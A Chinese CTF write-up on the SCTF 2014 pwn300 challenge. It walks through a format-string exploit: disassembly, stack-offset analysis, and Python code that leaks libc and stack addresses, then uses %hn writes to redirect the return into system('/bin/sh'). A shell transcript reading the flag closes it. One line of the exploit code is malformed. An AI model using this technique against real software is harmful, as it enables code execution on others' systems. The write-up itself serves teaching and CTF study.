[关闭]
@pnck 2014-12-13T04:46:19.000000Z 字数 4167 阅读 2682

sctf2014 pwn300 详解

writeup


参考资料量近乎pwn200的一倍……全网能搜到的writeup版本大概有4个,但是没有一个exp看得懂的……最后好不容易攒了几天智商几个小时一次写成了……感觉这个format string 挺典型的(个毛,以前都没做过哪知道典不典型)

程序功能描述一下: nc连上去后有四个选项,1为一个猜数字游戏,一轮直接退出,无意义;2为留下一条消息;3显示这个消息;4退出

2功能用一个自定函数读入n个字符进入一个全局缓冲区,无利用点;3功能把缓冲区内容copy到栈上然后printf,其中这个printf存在format string漏洞(哎。。copy到栈上……也是故意的……其实printf读的是全局缓冲区的内容,这个copy是为后边构造带%n的利用字串准备的。。)

  1. .text:0804880E 42C mov dword ptr [esp+4], offset src ; src
  2. .text:08048816 42C lea eax, [ebp+dest] ; Load Effective Address
  3. .text:0804881C 42C mov [esp], eax ; dest
  4. .text:0804881F 42C call _strcpy ; Call Procedure
  5. .text:08048824 42C mov dword ptr [esp], offset aYourMessageIs ; "Your message is:"
  6. .text:0804882B 42C call _printf ; Call Procedure
  7. .text:08048830 42C mov dword ptr [esp], offset src
  8. .text:08048837 42C call _printf ; format str
  9. .text:0804883C 42C mov eax, [ebp+var_chkStack]
  10. .text:0804883F 42C xor eax, large gs:14h ; Logical Exclusive OR

仍然有nx,也不会写shellcode,选择与pwn200相似的思路劫持返回流,与pwn200不同的是通过printf,栈地址和其上的内容是可以精确控制的,有其它队伍writeup里写到无法得知栈地址转而劫持got表,其实说得不对。

触发printf的调用链是main --> get_left_msg(3#) --> printf;于是可以利用printf来获取get_left_msg栈帧存放的main的ebp地址,通过main的ebp可以计算出当前get_left_msg的ebp,通过这个ebp就能访问get_left_msg栈帧的所有内容。
做的时候其实各种地址偏移都是连算带猜出来的,写这篇writeup的时候才用gdb仔细跟踪了下栈的结构,最后画个详细的表:

  1. H
  2. ADDR | CONTENT
  3. ----------------------------------------------------------------
  4. ebp_main+4h | addr ret to __libc_start_main
  5. ebp_main | ebp_prev
  6. -4h | useless ; align
  7. -8h | useless ; align
  8. -8h-20h | stack
  9. -8h-20h-4h | addr ret to main ; 0x804894e
  10. -8h-20h-8h | ebp_main ; ebp_get_left_msg
  11. -8h-20h-8h-428h | stack ; current esp
  12. ----------------------------------------------------------------
  13. L

访问ebp_get_left_msg获得ebp_main,再减去某个偏移(表中:0x2c),获得存放返回地址的栈地址,改写这个栈地址的内容劫持eip。另外返回到__libc_start_main的地址也在栈上,读取这个值计算system和/bin/sh字串的偏移,这跟pwn200是一样的。

具体的地址偏移花了不少精力去跟踪才得出来的,关键是ebp_mainebp_main-8这两个地址是被如下代码

  1. .text:0804889F 000 push ebp
  2. .text:080488A0 004 mov ebp, esp
  3. .text:080488A2 004 and esp, 0FFFFFFF0h ; 这里,esp -= 8
  4. .text:080488A5 004 sub esp, 20h ; Integer Subtraction
  5. .text:080488A8 024 mov eax, ds:stdout
  6. .text:080488AD 024 mov dword ptr [esp+0Ch], 0 ; n

对齐esp时sub掉的,这点在ida中无法体现(栈指针都没变化是吧),必须动态跟踪才能知道。虽然调试之前已经把exp写出来了,但是那时用的地址很大程度有瞎蒙成分……

选项2和选项3可以重复多次调用,于是首先先把栈地址和所需的数据leak出来:

  1. #代码并非完整可用的代码,其中用到自己写的框架,有一些奇葩的语法实现,不过完整代码也没意义,记录思路就好
  2. t = exp_framework('218.2.197.248',10002)
  3. (t*2).recv() #欢迎信息要读两次……
  4. t.send('2\n','[%279$x]\n','3\n') #leak libc base
  5. d = (t*2).recv()
  6. base = int(d[d.find('[')+1:d.find(']')],16)-0x194d3
  7. print 'base:',hex(base)
  8. system_addr = base+0x3f430
  9. shstr_addr = base+0x160f58
  10. t.send('2\n','[%266$x]\n','3\n') #leak main stack base addr
  11. d = (t*2).recv()
  12. ebp_main = int(d[d.find('[')+1:d.find(']')],16)
  13. ret_addr = ebp_main - 0x2c

其中266$x与279$x分别引用的是[esp+266*4]=[ebp_get_left_msg]=ebp_main[esp+279*4]=[ebp_main+4]=addr ret2 __libc_start_main
接下来构造带有%n的字串把算好的值填入预定位置。

这个%n迷惑了我不少天,其正确形式应该是这样的:printf("6bytes%n",&nWriten);也就是说栈上保存着待写入变量的地址,然后数据会写入到这个地址指向的内存去。好,那么分开两部分构造利用字串,part1是一系列连在一起的地址,供%n引用;part2是%(val)c%(pos)$n构造具体的写入值。构造写入值的时候还有个问题,虽然可以用%12345c这种方法强制输出12345个字符,但是这个数字是有上限的,粗略测试了一下,可以比65535大点,为了方便与统一起见,将每个待写入的值都拆成高低16位用%hn写入每个地址的低2字节。写入值先以升序排序,然后构造最终的exp字串。
最后我们要找到字符串在栈上的地址,否则%n无法引用到。这里程序中那个无意义的strcpy就派上用场了(这种故意留的门好蛋疼……)

  1. -00000428 ; Frame size: 428; Saved regs: 4; Purge: 0
  2. -00000428 ;
  3. -00000428
  4. -00000428 var_428 dd ?
  5. -00000424 var_424 dd ?
  6. -00000420 var_420 dd ?
  7. -0000041C var_41C dd ?
  8. -00000418 var_418 dd ?
  9. -00000414 var_414 dd ?
  10. -00000410 var_410 dd ?
  11. -0000040C dest dd 256 dup(?)
  12. -0000000C var_chkStack dd ?
  13. -00000008 var_8 dd ?
  14. -00000004 var_4 dd ?
  15. +00000000 s db 4 dup(?)
  16. +00000004 r db 4 dup(?)

ESP在0x428,字符串会被copy到栈上dest的位置。0x428 - 0x40c = 0x1c ; 0x1c = 4*7也就是说%7$n刚好引用到字符串本身,把地址放在开头比较简便。

  1. syl = system_addr & 0xffff
  2. syh = (system_addr & 0xffff0000) >> 16
  3. szl = shstr_addr & 0xffff
  4. szh = (shstr_addr & 0xffff0000) >> 16
  5. #先将写入值与对应地址做好映射。写入值必须升序,那么地址顺序会被打乱。所以先dict放在一起。
  6. wr_mp = {syl:ret_addr,syh:ret_addr+2,szl:ret_addr+8,ret_addr+10}
  7. filled = len(struct.pack('IIII',syl,syh,szl,szh))
  8. addr_pack = '' #一系列地址
  9. ss = '' #写入值与%hn
  10. for i,pair in enumerate(sorted(wr_mp.iteritems(),key=lambda d:d[0])):
  11. v,pos = pair
  12. addr_pack+=struct.pack('I',pos)
  13. tofill = v-filled
  14. ss += '%'+str(tofill)+'c%'+str(i+7)+'$hn' #第一个地址从%7$开始
  15. filled += tofill
  16. pl = addr_pack+ss+'\n' #构造好的payload

后边就是send,等待get_left_msg函数返回,就可以getshell了。成功截图(伪):

  1. ===============================
  2. ^Caddr should be: 0xb7636430 0xb7757f58
  3. /bin/sh: 1: 2: not found
  4. /bin/sh: 2: Real: not found
  5. /bin/sh: 3: 3: not found
  6. /bin/sh: 4:
  7. 4: not found
  8. cmd-$ cd /home
  9. cmd-$ ls
  10. pwn1
  11. pwn2
  12. pwn3
  13. syclover
  14. cmd-$ cd pwn2
  15. cmd-$ ls
  16. flag
  17. pwn
  18. cmd-$ cat flag
  19. SCTF{ZQzq2617}
  20. cmd-$ ^C
  21. close shell.
添加新批注
在作者公开此批注前,只有你和作者可见。
回复批注